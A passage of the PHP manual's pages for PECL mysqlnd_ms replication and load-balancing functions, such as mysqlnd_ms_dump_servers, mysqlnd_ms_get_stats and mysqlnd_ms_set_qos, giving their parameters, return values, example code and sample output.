  • mysqlnd_ms_set_qos — Sets the quality of service needed from the cluster
  • mysqlnd_ms_set_user_pick_server — Sets a callback for user-defined read/write splitting
  • mysqlnd_ms_xa_begin — Starts a distributed/XA transaction among MySQL servers
  • mysqlnd_ms_xa_commit — Commits a distributed/XA transaction among MySQL servers
  • mysqlnd_ms_xa_gc — Garbage collects unfinished XA transactions after severe errors
  • mysqlnd_ms_xa_rollback — Rolls back a distributed/XA transaction among MySQL servers

User Contributed Notes

There are no user contributed notes for this page.


Returns a list of currently configured servers

  • « Mysqlnd_ms Functions
  • mysqlnd_ms_fabric_select_global »
  • PHP Manual
  • Mysqlnd_ms Functions
  • Returns a list of currently configured servers

mysqlnd_ms_dump_servers

(No version information available, might only be in Git)

mysqlnd_ms_dump_servers — Returns a list of currently configured servers

Description

array mysqlnd_ms_dump_servers ( mixed $connection )

Returns a list of currently configured servers.

Parameters

connection

A MySQL connection handle obtained from any of the connect functions of the mysqli, mysql or PDO_MYSQL extensions.

Return Values

FALSE on error. Otherwise, returns an array with two entries masters and slaves each of which contains an array listing all corresponding servers.

The function can be used to check and debug the list of servers currently used by the plugin. It is mostly useful when the list of servers changes at runtime, for example, when using MySQL Fabric.

masters and slaves server entries

Key | Description | Version
name_from_config | Server entry name from config, if appliciable. NULL if no configuration name is available. | Since 1.6.0.
hostname | Host name of the server. | Since 1.6.0.
user | Database user used to authenticate against the server. | Since 1.6.0.
port | TCP/IP port of the server. | Since 1.6.0.
socket | Unix domain socket of the server. | Since 1.6.0.

Notes

Note:

mysqlnd_ms_dump_servers() requires PECL mysqlnd_ms >> 1.6.0.

Examples

Example #1 mysqlnd_ms_dump_servers() example

{
    "myapp": {
        "master": {
            "master1": {
                "host":"master1_host",
                "port":"master1_port",
                "socket":"master1_socket",
                "db":"master1_db",
                "user":"master1_user",
                "password":"master1_pw"
            }
        },
        "slave": {
             "slave_0": {
                 "host":"slave0_host",
                 "port":"slave0_port",
                 "socket":"slave0_socket",
                 "db":"slave0_db",
                 "user":"slave0_user",
                 "password":"slave0_pw"
             },
             "slave_1": {
                 "host":"slave1_host"
             }
        }
    }
}
<?php
$link = mysqli_connect("myapp", "global_user", "global_pass", "global_db", 1234, "global_socket");
var_dump(mysqlnd_ms_dump_servers($link);
?>

The above example will output:

array(2) {
  ["masters"]=>
  array(1) {
    [0]=>
    array(5) {
      ["name_from_config"]=>
      string(7) "master1"
      ["hostname"]=>
      string(12) "master1_host"
      ["user"]=>
      string(12) "master1_user"
      ["port"]=>
      int(3306)
      ["socket"]=>
      string(14) "master1_socket"
    }
  }
  ["slaves"]=>
  array(2) {
    [0]=>
    array(5) {
      ["name_from_config"]=>
      string(7) "slave_0"
      ["hostname"]=>
      string(11) "slave0_host"
      ["user"]=>
      string(11) "slave0_user"
      ["port"]=>
      int(3306)
      ["socket"]=>
      string(13) "slave0_socket"
    }
    [1]=>
    array(5) {
      ["name_from_config"]=>
      string(7) "slave_1"
      ["hostname"]=>
      string(11) "slave1_host"
      ["user"]=>
      string(12) "gloabal_user"
      ["port"]=>
      int(1234)
      ["socket"]=>
      string(13) "global_socket"
    }
  }
}

User Contributed Notes

Vladimir 13-Sep-2014 01:00
Shouldn't it be:

var_dump(mysqlnd_ms_dump_servers($link));
?


Switch to global sharding server for a given table

  • « mysqlnd_ms_dump_servers
  • mysqlnd_ms_fabric_select_shard »
  • PHP Manual
  • Mysqlnd_ms Functions
  • Switch to global sharding server for a given table

mysqlnd_ms_fabric_select_global

(No version information available, might only be in Git)

mysqlnd_ms_fabric_select_global — Switch to global sharding server for a given table

Description

array mysqlnd_ms_fabric_select_global ( mixed $connection , mixed $table_name )
Warning

This function is currently not documented; only its argument list is available.

MySQL Fabric related.

Switch the connection to the nodes handling global sharding queries for the given table name.

Parameters

connection

A MySQL connection handle obtained from any of the connect functions of the mysqli, mysql or PDO_MYSQL extensions.

table_name

The table name to ask Fabric about.

Return Values

FALSE on error. Otherwise, TRUE

Notes

Note:

mysqlnd_ms_fabric_select_global() requires PECL mysqlnd_ms >> 1.6.0.

User Contributed Notes

There are no user contributed notes for this page.


Switch to shard

  • « mysqlnd_ms_fabric_select_global
  • mysqlnd_ms_get_last_gtid »
  • PHP Manual
  • Mysqlnd_ms Functions
  • Switch to shard

mysqlnd_ms_fabric_select_shard

(No version information available, might only be in Git)

mysqlnd_ms_fabric_select_shard — Switch to shard

Description

array mysqlnd_ms_fabric_select_shard ( mixed $connection , mixed $table_name , mixed $shard_key )
Warning

This function is currently not documented; only its argument list is available.

MySQL Fabric related.

Switch the connection to the shards responsible for the given table name and shard key.

Parameters

connection

A MySQL connection handle obtained from any of the connect functions of the mysqli, mysql or PDO_MYSQL extensions.

table_name

The table name to ask Fabric about.

shard_key

The shard key to ask Fabric about.

Return Values

FALSE on error. Otherwise, TRUE

Notes

Note:

mysqlnd_ms_fabric_select_shard() requires PECL mysqlnd_ms >> 1.6.0.

User Contributed Notes

There are no user contributed notes for this page.


Returns the latest global transaction ID

  • « mysqlnd_ms_fabric_select_shard
  • mysqlnd_ms_get_last_used_connection »
  • PHP Manual
  • Mysqlnd_ms Functions
  • Returns the latest global transaction ID

mysqlnd_ms_get_last_gtid

(PECL mysqlnd_ms >= 1.2.0)

mysqlnd_ms_get_last_gtid — Returns the latest global transaction ID

Description

string mysqlnd_ms_get_last_gtid ( mixed $connection )

Returns a global transaction identifier which belongs to a write operation no older than the last write performed by the client. It is not guaranteed that the global transaction identifier is identical to that one created for the last write transaction performed by the client.

Parameters

connection

A PECL/mysqlnd_ms connection handle to a MySQL server of the type PDO_MYSQL, mysqli> or ext/mysql. The connection handle is obtained when opening a connection with a host name that matches a mysqlnd_ms configuration file entry using any of the above three MySQL driver extensions.

Return Values

Returns a global transaction ID (GTID) on success. Otherwise, returns FALSE.

The function mysqlnd_ms_get_last_gtid() returns the GTID obtained when executing the SQL statement from the fetch_last_gtid entry of the global_transaction_id_injection section from the plugins configuration file.

The function may be called after the GTID has been incremented.

Notes

Note:

mysqlnd_ms_get_last_gtid() requires PHP >= 5.4.0 and PECL mysqlnd_ms >= 1.2.0. Internally, it is using a mysqlnd library C functionality not available with PHP 5.3.

Please note, all MySQL 5.6 production versions do not provide clients with enough information to use GTIDs for enforcing session consistency. In the worst case, the plugin will choose the master only.

Examples

Example #1 mysqlnd_ms_get_last_gtid() example

<?php
/* Open mysqlnd_ms connection using mysqli, PDO_MySQL or mysql extension */
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* auto commit mode, transaction on master, GTID must be incremented */
if (!$mysqli->query("DROP TABLE IF EXISTS test"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

printf("GTID after transaction %s\n", mysqlnd_ms_get_last_gtid($mysqli));

/* auto commit mode, transaction on master, GTID must be incremented */
if (!$mysqli->query("CREATE TABLE test(id INT)"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

printf("GTID after transaction %s\n", mysqlnd_ms_get_last_gtid($mysqli));
?>

See Also

  • Global Transaction IDs

User Contributed Notes

There are no user contributed notes for this page.


Returns an array which describes the last used connection

  • « mysqlnd_ms_get_last_gtid
  • mysqlnd_ms_get_stats »
  • PHP Manual
  • Mysqlnd_ms Functions
  • Returns an array which describes the last used connection

mysqlnd_ms_get_last_used_connection

(PECL mysqlnd_ms >= 1.1.0)

mysqlnd_ms_get_last_used_connection — Returns an array which describes the last used connection

Description

array mysqlnd_ms_get_last_used_connection ( mixed $connection )

Returns an array which describes the last used connection from the plugins connection pool currently pointed to by the user connection handle. If using the plugin, a user connection handle represents a pool of database connections. It is not possible to tell from the user connection handles properties to which database server from the pool the user connection handle points.

The function can be used to debug or monitor PECL mysqlnd_ms.

Parameters

connection

A MySQL connection handle obtained from any of the connect functions of the mysqli, mysql or PDO_MYSQL extensions.

Return Values

FALSE on error. Otherwise, an array which describes the connection used to execute the last statement on.

Array which describes the connection.

Property | Description | Version
scheme | Connection scheme. Either tcp://host:port or unix://host:socket. If you want to distinguish connections from each other use a combination of scheme and thread_id as a unique key. Neither scheme nor thread_id alone are sufficient to distinguish two connections from each other. Two servers may assign the same thread_id to two different connections. Thus, connections in the pool may have the same thread_id. Also, do not rely on uniqueness of scheme in a pool. Your QA engineers may use the same MySQL server instance for two distinct logical roles and add it multiple times to the pool. This hack is used, for example, in the test suite. | Since 1.1.0.
host | Database server host used with the connection. The host is only set with TCP/IP connections. It is empty with Unix domain or Windows named pipe connections, | Since 1.1.0.
host_info | A character string representing the server hostname and the connection type. | Since 1.1.2.
port | Database server port used with the connection. | Since 1.1.0.
socket_or_pipe | Unix domain socket or Windows named pipe used with the connection. The value is empty for TCP/IP connections. | Since 1.1.2.
thread_id | Connection thread id. | Since 1.1.0.
last_message | Info message obtained from the MySQL C API function mysql_info(). Please, see mysqli_info() for a description. | Since 1.1.0.
errno | Error code. | Since 1.1.0.
error | Error message. | Since 1.1.0.
sqlstate | Error SQLstate code. | Since 1.1.0.

Notes

Note:

mysqlnd_ms_get_last_used_connection() requires PHP >= 5.4.0 and PECL mysqlnd_ms >> 1.1.0. Internally, it is using a mysqlnd library C call not available with PHP 5.3.

Examples

The example assumes that myapp refers to a plugin configuration file section and represents a connection pool.

Example #1 mysqlnd_ms_get_last_used_connection() example

<?php
$link = new mysqli("myapp", "user", "password", "database");
$res = $link->query("SELECT 1 FROM DUAL");
var_dump(mysqlnd_ms_get_last_used_connection($link));
?>

The above example will output:

array(10) {
  ["scheme"]=>
  string(22) "unix:///tmp/mysql.sock"
  ["host_info"]=>
  string(25) "Localhost via UNIX socket"
  ["host"]=>
  string(0) ""
  ["port"]=>
  int(3306)
  ["socket_or_pipe"]=>
  string(15) "/tmp/mysql.sock"
  ["thread_id"]=>
  int(46253)
  ["last_message"]=>
  string(0) ""
  ["errno"]=>
  int(0)
  ["error"]=>
  string(0) ""
  ["sqlstate"]=>
  string(5) "00000"
}

User Contributed Notes

There are no user contributed notes for this page.


Returns query distribution and connection statistics

  • « mysqlnd_ms_get_last_used_connection
  • mysqlnd_ms_match_wild »
  • PHP Manual
  • Mysqlnd_ms Functions
  • Returns query distribution and connection statistics

mysqlnd_ms_get_stats

(PECL mysqlnd_ms >= 1.0.0)

mysqlnd_ms_get_stats — Returns query distribution and connection statistics

Description

array mysqlnd_ms_get_stats ( void )

Returns an array of statistics collected by the replication and load balancing plugin.

The PHP configuration setting mysqlnd_ms.collect_statistics controls the collection of statistics. The collection of statistics is disabled by default for performance reasons.

The scope of the statistics is the PHP process. Depending on your deployment model a PHP process may handle one or multiple requests.

Statistics are aggregated for all connections and all storage handler. It is not possible to tell how much queries originating from mysqli, PDO_MySQL or mysql API calls have contributed to the aggregated data values.

Parameters

This function has no parameters.

Return Values

Returns NULL if the PHP configuration directive mysqlnd_ms.enable has disabled the plugin. Otherwise, returns array of statistics.

Array of statistics

Statistic | Description | Version
use_slave

The semantics of this statistic has changed between 1.0.1 - 1.1.0.

The meaning for version 1.0.1 is as follows. Number of statements considered as read-only by the built-in query analyzer. Neither statements which begin with a SQL hint to force use of slave nor statements directed to a slave by an user-defined callback are included. The total number of statements sent to the slaves is use_slave + use_slave_sql_hint + use_slave_callback.

PECL/mysqlnd_ms 1.1.0 introduces a new concept of chained filters. The statistics is now set by the internal load balancing filter. With version 1.1.0 the load balancing filter is always the last in the filter chain, if used. In future versions a load balancing filter may be followed by other filters causing another change in the meaning of the statistic. If, in the future, a load balancing filter is followed by another filter it is no longer guaranteed that the statement, which increments use_slave, will be executed on the slaves.

The meaning for version 1.1.0 is as follows. Number of statements sent to the slaves. Statements directed to a slave by the user filter (an user-defined callback) are not included. The latter are counted by use_slave_callback.

Since 1.0.0.
use_master

The semantics of this statistic has changed between 1.0.1 - 1.1.0.

The meaning for version 1.0.1 is as follows. Number of statements not considered as read-only by the built-in query analyzer. Neither statements which begin with a SQL hint to force use of master nor statements directed to a master by an user-defined callback are included. The total number of statements sent to the master is use_master + use_master_sql_hint + use_master_callback.

PECL/mysqlnd_ms 1.1.0 introduces a new concept of chained filters. The statictics is now set by the internal load balancing filter. With version 1.1.0 the load balancing filter is always the last in the filter chain, if used. In future versions a load balancing filter may be followed by other filters causing another change in the meaning of the statistic. If, in the future, a load balancing filter is followed by another filter it is no longer guaranteed that the statement, which increments use_master, will be executed on the slaves.

The meaning for version 1.1.0 is as follows. Number of statements sent to the masters. Statements directed to a master by the user filter (an user-defined callback) are not included. The latter are counted by use_master_callback.

Since 1.0.0.
use_slave_guess | Number of statements the built-in query analyzer recommends sending to a slave because they contain no SQL hint to force use of a certain server. The recommendation may be overruled in the following. It is not guaranteed whether the statement will be executed on a slave or not. This is how often the internal is_select function has guessed that a slave shall be used. Please, see also the user space function mysqlnd_ms_query_is_select(). | Since 1.1.0.
use_master_guess | Number of statements the built-in query analyzer recommends sending to a master because they contain no SQL hint to force use of a certain server. The recommendation may be overruled in the following. It is not guaranteed whether the statement will be executed on a slave or not. This is how often the internal is_select function has guessed that a master shall be used. Please, see also the user space function mysqlnd_ms_query_is_select(). | Since 1.1.0.
use_slave_sql_hint | Number of statements sent to a slave because statement begins with the SQL hint to force use of slave. | Since 1.0.0.
use_master_sql_hint | Number of statements sent to a master because statement begins with the SQL hint to force use of master. | Since 1.0.0.
use_last_used_sql_hint | Number of statements sent to server which has run the previous statement, because statement begins with the SQL hint to force use of previously used server. | Since 1.0.0.
use_slave_callback | Number of statements sent to a slave because an user-defined callback has chosen a slave server for statement execution. | Since 1.0.0.
use_master_callback | Number of statements sent to a master because an user-defined callback has chosen a master server for statement execution. | Since 1.0.0.
non_lazy_connections_slave_success | Number of successfully opened slave connections from configurations not using lazy connections. The total number of successfully opened slave connections is non_lazy_connections_slave_success + lazy_connections_slave_success | Since 1.0.0.
non_lazy_connections_slave_failure | Number of failed slave connection attempts from configurations not using lazy connections. The total number of failed slave connection attempts is non_lazy_connections_slave_failure + lazy_connections_slave_failure | Since 1.0.0.
non_lazy_connections_master_success | Number of successfully opened master connections from configurations not using lazy connections. The total number of successfully opened master connections is non_lazy_connections_master_success + lazy_connections_master_success | Since 1.0.0.
non_lazy_connections_master_failure | Number of failed master connection attempts from configurations not using lazy connections. The total number of failed master connection attempts is non_lazy_connections_master_failure + lazy_connections_master_failure | Since 1.0.0.
lazy_connections_slave_success | Number of successfully opened slave connections from configurations using lazy connections. | Since 1.0.0.
lazy_connections_slave_failure | Number of failed slave connection attempts from configurations using lazy connections. | Since 1.0.0.
lazy_connections_master_success | Number of successfully opened master connections from configurations using lazy connections. | Since 1.0.0.
lazy_connections_master_failure | Number of failed master connection attempts from configurations using lazy connections. | Since 1.0.0.
trx_autocommit_on | Number of autocommit mode activations via API calls. This figure may be used to monitor activity related to the plugin configuration setting trx_stickiness. If, for example, you want to know if a certain API call invokes the mysqlnd library function trx_autocommit(), which is a requirement for trx_stickiness, you may call the user API function in question and check if the statistic has changed. The statistic is modified only by the plugins internal subclassed trx_autocommit() method. | Since 1.0.0.
trx_autocommit_off | Number of autocommit mode deactivations via API calls. | Since 1.0.0.
trx_master_forced | Number of statements redirected to the master while trx_stickiness=master and autocommit mode is disabled. | Since 1.0.0.
gtid_autocommit_injections_success | Number of successful SQL injections in autocommit mode as part of the plugins client-side global transaction id emulation. | Since 1.2.0.
gtid_autocommit_injections_failure | Number of failed SQL injections in autocommit mode as part of the plugins client-side global transaction id emulation. | Since 1.2.0.
gtid_commit_injections_success | Number of successful SQL injections in commit mode as part of the plugins client-side global transaction id emulation. | Since 1.2.0.
gtid_commit_injections_failure | Number of failed SQL injections in commit mode as part of the plugins client-side global transaction id emulation. | Since 1.2.0.
gtid_implicit_commit_injections_success | Number of successful SQL injections when implicit commit is detected as part of the plugins client-side global transaction id emulation. Implicit commit happens, for example, when autocommit has been turned off, a query is executed and autocommit is enabled again. In that case, the statement will be committed by the server and SQL to maintain is injected before the autocommit is re-enabled. Another sequence causing an implicit commit is begin(), query(), begin(). The second call to begin() will implicitly commit the transaction started by the first call to begin(). begin() refers to internal library calls not actual PHP user API calls. | Since 1.2.0.
gtid_implicit_commit_injections_failure | Number of failed SQL injections when implicit commit is detected as part of the plugins client-side global transaction id emulation. Implicit commit happens, for example, when autocommit has been turned off, a query is executed and autocommit is enabled again. In that case, the statement will be committed by the server and SQL to maintain is injected before the autocommit is re-enabled. | Since 1.2.0.
transient_error_retries | How often an operation has been retried when a transient error was detected. See also, transient_error plugin configuration file setting. | Since 1.6.0.
fabric_sharding_lookup_servers_success | Number of successful sharding.lookup_servers remote procedure calls to MySQL Fabric. A call is considered successful if the plugin could reach MySQL Fabric and got any reply. The reply itself may or may not be understood by the plugin. Success refers to the network transport only. If the reply was not understood or indicates a valid error condition, fabric_sharding_lookup_servers_xml_failure gets incremented. | Since 1.6.0.
fabric_sharding_lookup_servers_failure | Number of failed sharding.lookup_servers remote procedure calls to MySQL Fabric. A remote procedure call is considered failed if there was a network error in connecting to, writing to or reading from MySQL Fabric. | Since 1.6.0.
fabric_sharding_lookup_servers_time_total | Time spent connecting to,writing to and reading from MySQL Fabrich during the sharding.lookup_servers remote procedure call. The value is aggregated for all calls. Time is measured in microseconds. | Since 1.6.0.
fabric_sharding_lookup_servers_bytes_total | Total number of bytes received from MySQL Fabric in reply to sharding.lookup_servers calls. | Since 1.6.0.
fabric_sharding_lookup_servers_xml_failure | How often a reply from MySQL Fabric to sharding.lookup_servers calls was not understood. Please note, the current experimental implementation does not distinguish between valid errors returned and malformed replies. | Since 1.6.0.
xa_begin | How many XA/distributed transactions have been started using mysqlnd_ms_xa_begin(). | Since 1.6.0.
xa_commit_success | How many XA/distributed transactions have been successfully committed using mysqlnd_ms_xa_commit(). | Since 1.6.0.
xa_commit_failure | How many XA/distributed transactions failed to commit during mysqlnd_ms_xa_commit(). | Since 1.6.0.
xa_rollback_success | How many XA/distributed transactions have been successfully rolled back using mysqlnd_ms_xa_rollback(). The figure does not include implict rollbacks performed as a result of mysqlnd_ms_xa_commit() failure. | Since 1.6.0.
xa_rollback_failure | How many XA/distributed transactions could not be rolled back. This includes failures of mysqlnd_ms_xa_rollback() but also failured during rollback when closing a connection, if rollback_on_close is set. Please, see also xa_rollback_on_close below. | Since 1.6.0.
xa_participants | Total number of participants in any XA transaction started with mysqlnd_ms_xa_begin(). | Since 1.6.0.
xa_rollback_on_close | How many XA transactions have been rolled back implicitly when a connection was close and rollback_on_close is set. Depending on your coding policies, this may hint a flaw in your code as you may prefer to explicitly clean up resources. | Since 1.6.0.
pool_masters_total | Number of master servers (connections) in the internal connection pool. | Since 1.6.0.
pool_slaves_total | Number of slave servers (connections) in the internal connection pool. | Since 1.6.0.
pool_masters_active | Number of master servers (connections) from the internal connection pool which are currently used for picking a connection. | Since 1.6.0.
pool_slaves_active | Number of slave servers (connections) from the internal connection pool which are currently used for picking a connection. | Since 1.6.0.
pool_updates | How often the active connection list has been replaced and a new set of master and slave servers had been installed. | Since 1.6.0.
pool_master_reactivated | How often a master connection has been reused after being flushed from the active list. | Since 1.6.0.
pool_slave_reactivated | How often a slave connection has been reused after being flushed from the active list. | Since 1.6.0.

Examples

Example #1 mysqlnd_ms_get_stats() example

<?php
printf("mysqlnd_ms.enable = %d\n", ini_get("mysqlnd_ms.enable"));
printf("mysqlnd_ms.collect_statistics = %d\n", ini_get("mysqlnd_ms.collect_statistics"));
var_dump(mysqlnd_ms_get_stats());
?>

The above example will output:

mysqlnd_ms.enable = 1
mysqlnd_ms.collect_statistics = 1
array(26) {
  ["use_slave"]=>
  string(1) "0"
  ["use_master"]=>
  string(1) "0"
  ["use_slave_guess"]=>
  string(1) "0"
  ["use_master_guess"]=>
  string(1) "0"
  ["use_slave_sql_hint"]=>
  string(1) "0"
  ["use_master_sql_hint"]=>
  string(1) "0"
  ["use_last_used_sql_hint"]=>
  string(1) "0"
  ["use_slave_callback"]=>
  string(1) "0"
  ["use_master_callback"]=>
  string(1) "0"
  ["non_lazy_connections_slave_success"]=>
  string(1) "0"
  ["non_lazy_connections_slave_failure"]=>
  string(1) "0"
  ["non_lazy_connections_master_success"]=>
  string(1) "0"
  ["non_lazy_connections_master_failure"]=>
  string(1) "0"
  ["lazy_connections_slave_success"]=>
  string(1) "0"
  ["lazy_connections_slave_failure"]=>
  string(1) "0"
  ["lazy_connections_master_success"]=>
  string(1) "0"
  ["lazy_connections_master_failure"]=>
  string(1) "0"
  ["trx_autocommit_on"]=>
  string(1) "0"
  ["trx_autocommit_off"]=>
  string(1) "0"
  ["trx_master_forced"]=>
  string(1) "0"
  ["gtid_autocommit_injections_success"]=>
  string(1) "0"
  ["gtid_autocommit_injections_failure"]=>
  string(1) "0"
  ["gtid_commit_injections_success"]=>
  string(1) "0"
  ["gtid_commit_injections_failure"]=>
  string(1) "0"
  ["gtid_implicit_commit_injections_success"]=>
  string(1) "0"
  ["gtid_implicit_commit_injections_failure"]=>
  string(1) "0"
  ["transient_error_retries"]=>
  string(1) "0"
}

See Also

  • Runtime configuration
  • mysqlnd_ms.collect_statistics
  • mysqlnd_ms.enable
  • Monitoring

User Contributed Notes

There are no user contributed notes for this page.


Finds whether a table name matches a wildcard pattern or not

  • « mysqlnd_ms_get_stats
  • mysqlnd_ms_query_is_select »
  • PHP Manual
  • Mysqlnd_ms Functions
  • Finds whether a table name matches a wildcard pattern or not

mysqlnd_ms_match_wild

(PECL mysqlnd_ms >= 1.1.0)

mysqlnd_ms_match_wild — Finds whether a table name matches a wildcard pattern or not

Description

bool mysqlnd_ms_match_wild ( string $table_name , string $wildcard )

Finds whether a table name matches a wildcard pattern or not.

This function is not of much practical relevance with PECL mysqlnd_ms 1.1.0 because the plugin does not support MySQL replication table filtering yet.

Parameters

table_name

The table name to check if it is matched by the wildcard.

wildcard

The wildcard pattern to check against the table name. The wildcard pattern supports the same placeholders as MySQL replication filters do.

MySQL replication filters can be configured by using the MySQL Server configuration options --replicate-wild-do-table and --replicate-wild-do-db. Please, consult the MySQL Reference Manual to learn more about this MySQL Server feature.

The supported placeholders are:

  • % - zero or more literals
  • % - one literal

Placeholders can be escaped using \.

Return Values

Returns TRUE table_name is matched by wildcard. Otherwise, returns FALSE

Examples

Example #1 mysqlnd_ms_match_wild() example

<?php
var_dump(mysqlnd_ms_match_wild("schema_name.table_name", "schema%"));
var_dump(mysqlnd_ms_match_wild("abc", "_"));
var_dump(mysqlnd_ms_match_wild("table1", "table_"));
var_dump(mysqlnd_ms_match_wild("asia_customers", "%customers"));
var_dump(mysqlnd_ms_match_wild("funny%table","funny\%table"));
var_dump(mysqlnd_ms_match_wild("funnytable", "funny%table"));
?>

The above example will output:

bool(true)
bool(false)
bool(true)
bool(true)
bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Find whether to send the query to the master, the slave or the last used MySQL server

  • « mysqlnd_ms_match_wild
  • mysqlnd_ms_set_qos »
  • PHP Manual
  • Mysqlnd_ms Functions
  • Find whether to send the query to the master, the slave or the last used MySQL server

mysqlnd_ms_query_is_select

(PECL mysqlnd_ms >= 1.0.0)

mysqlnd_ms_query_is_select — Find whether to send the query to the master, the slave or the last used MySQL server

Description

int mysqlnd_ms_query_is_select ( string $query )

Finds whether to send the query to the master, the slave or the last used MySQL server.

The plugins built-in read/write split mechanism will be used to analyze the query string to make a recommendation where to send the query. The built-in read/write split mechanism is very basic and simple. The plugin will recommend sending all queries to the MySQL replication master server but those which begin with SELECT, or begin with a SQL hint which enforces sending the query to a slave server. Due to the basic but fast algorithm the plugin may propose to run some read-only statements such as SHOW TABLES on the replication master.

Parameters

query

Query string to test.

Return Values

A return value of MYSQLND_MS_QUERY_USE_MASTER indicates that the query should be send to the MySQL replication master server. The function returns a value of MYSQLND_MS_QUERY_USE_SLAVE if the query can be run on a slave because it is considered read-only. A value of MYSQLND_MS_QUERY_USE_LAST_USED is returned to recommend running the query on the last used server. This can either be a MySQL replication master server or a MySQL replication slave server.

If read write splitting has been disabled by setting mysqlnd_ms.disable_rw_split, the function will always return MYSQLND_MS_QUERY_USE_MASTER or MYSQLND_MS_QUERY_USE_LAST_USED.

Examples

Example #1 mysqlnd_ms_query_is_select() example

<?php
function is_select($query)
{
 switch (mysqlnd_ms_query_is_select($query))
 {
  case MYSQLND_MS_QUERY_USE_MASTER:
   printf("'%s' should be run on the master.\n", $query);
   break;
  case MYSQLND_MS_QUERY_USE_SLAVE:
   printf("'%s' should be run on a slave.\n", $query);
   break;
  case MYSQLND_MS_QUERY_USE_LAST_USED:
   printf("'%s' should be run on the server that has run the previous query\n", $query);
   break;
  default:
   printf("No suggestion where to run the '%s', fallback to master recommended\n", $query);
   break;
 }
}

is_select("INSERT INTO test(id) VALUES (1)");
is_select("SELECT 1 FROM DUAL");
is_select("/*" . MYSQLND_MS_LAST_USED_SWITCH . "*/SELECT 2 FROM DUAL");
?>

The above example will output:

INSERT INTO test(id) VALUES (1) should be run on the master.
SELECT 1 FROM DUAL should be run on a slave.
/*ms=last_used*/SELECT 2 FROM DUAL should be run on the server that has run the previous query

See Also

  • Predefined Constants
  • user filter
  • Runtime configuration
  • mysqlnd_ms.disable_rw_split
  • mysqlnd_ms.enable

User Contributed Notes

There are no user contributed notes for this page.


Sets the quality of service needed from the cluster

  • « mysqlnd_ms_query_is_select
  • mysqlnd_ms_set_user_pick_server »
  • PHP Manual
  • Mysqlnd_ms Functions
  • Sets the quality of service needed from the cluster

mysqlnd_ms_set_qos

(PECL mysqlnd_ms < 1.2.0)

mysqlnd_ms_set_qos — Sets the quality of service needed from the cluster

Description

bool mysqlnd_ms_set_qos ( mixed $connection , int $service_level [, int $service_level_option [, mixed $option_value ]] )

Sets the quality of service needed from the cluster. A database cluster delivers a certain quality of service to the user depending on its architecture. A major aspect of the quality of service is the consistency level the cluster can offer. An asynchronous MySQL replication cluster defaults to eventual consistency for slave reads: a slave may serve stale data, current data, or it may have not the requested data at all, because it is not synchronous to the master. In a MySQL replication cluster, only master accesses can give strong consistency, which promises that all clients see each others changes.

PECL/mysqlnd_ms hides the complexity of choosing appropriate nodes to achieve a certain level of service from the cluster. The "Quality of Service" filter implements the necessary logic. The filter can either be configured in the plugins configuration file, or at runtime using mysqlnd_ms_set_qos().

Similar results can be achieved with PECL mysqlnd_ms < 1.2.0, if using SQL hints to force the use of a certain type of node or using the master_on_write plugin configuration option. The first requires more code and causes more work on the application side. The latter is less refined than using the quality of service filter. Settings made through the function call can be reversed, as shown in the example below. The example temporarily switches to a higher service level (session consistency, read your writes) and returns back to the clusters default after it has performed all operations that require the better service. This way, read load on the master can be minimized compared to using master_on_write, which would continue using the master after the first write.

Since 1.5.0 calls will fail when done in the middle of a transaction if transaction stickiness is enabled and transaction boundaries have been detected. properly.

Parameters

connection

A PECL/mysqlnd_ms connection handle to a MySQL server of the type PDO_MYSQL, mysqli or ext/mysql for which a service level is to be set. The connection handle is obtained when opening a connection with a host name that matches a mysqlnd_ms configuration file entry using any of the above three MySQL driver extensions.

service_level

The requested service level: MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL, MYSQLND_MS_QOS_CONSISTENCY_SESSION or MYSQLND_MS_QOS_CONSISTENCY_STRONG.

service_level_option

An option to parameterize the requested service level. The option can either be MYSQLND_MS_QOS_OPTION_GTID or MYSQLND_MS_QOS_OPTION_AGE.

The option MYSQLND_MS_QOS_OPTION_GTID can be used to refine the service level MYSQLND_MS_QOS_CONSISTENCY_SESSION. It must be combined with a fourth function parameter, the option_value. The option_value shall be a global transaction ID obtained from mysqlnd_ms_get_last_gtid(). If set, the plugin considers both master servers and asynchronous slaves for session consistency (read your writes). Otherwise, only masters are used to achieve session consistency. A slave is considered up-to-date and checked if it has already replicated the global transaction ID from option_value. Please note, searching appropriate slaves is an expensive and slow operation. Use the feature sparsely, if the master cannot handle the read load alone.

The MYSQLND_MS_QOS_OPTION_AGE option can be combined with the MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL service level, to filter out asynchronous slaves that lag more seconds behind the master than option_value. If set, the plugin will only consider slaves for reading if SHOW SLAVE STATUS reports Slave_IO_Running=Yes, Slave_SQL_Running=Yes and Seconds_Behind_Master <= option_value. Please note, searching appropriate slaves is an expensive and slow operation. Use the feature sparsely in version 1.2.0. Future versions may improve the algorithm used to identify candidates. Please, see the MySQL reference manual about the precision, accuracy and limitations of the MySQL administrative command SHOW SLAVE STATUS.

option_value

Parameter value for the service level option. See also the service_level_option parameter.

Return Values

Returns TRUE if the connections service level has been switched to the requested. Otherwise, returns FALSE

Notes

Note:

mysqlnd_ms_set_qos() requires PHP >= 5.4.0 and PECL mysqlnd_ms >= 1.2.0. Internally, it is using a mysqlnd library C functionality not available with PHP 5.3.

Please note, all MySQL 5.6 production versions do not provide clients with enough information to use GTIDs for enforcing session consistency. In the worst case, the plugin will choose the master only.

Examples

Example #1 mysqlnd_ms_set_qos() example

<?php
/* Open mysqlnd_ms connection using mysqli, PDO_MySQL or mysql extension */
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Session consistency: read your writes */
$ret = mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_SESSION);
if (!$ret)
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* Will use master and return fresh data, client can see his last write */
if (!$res = $mysqli->query("SELECT item, price FROM orders WHERE order_id = 1"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* Back to default: use of all slaves and masters permitted, stale data can happen */
if (!mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL))
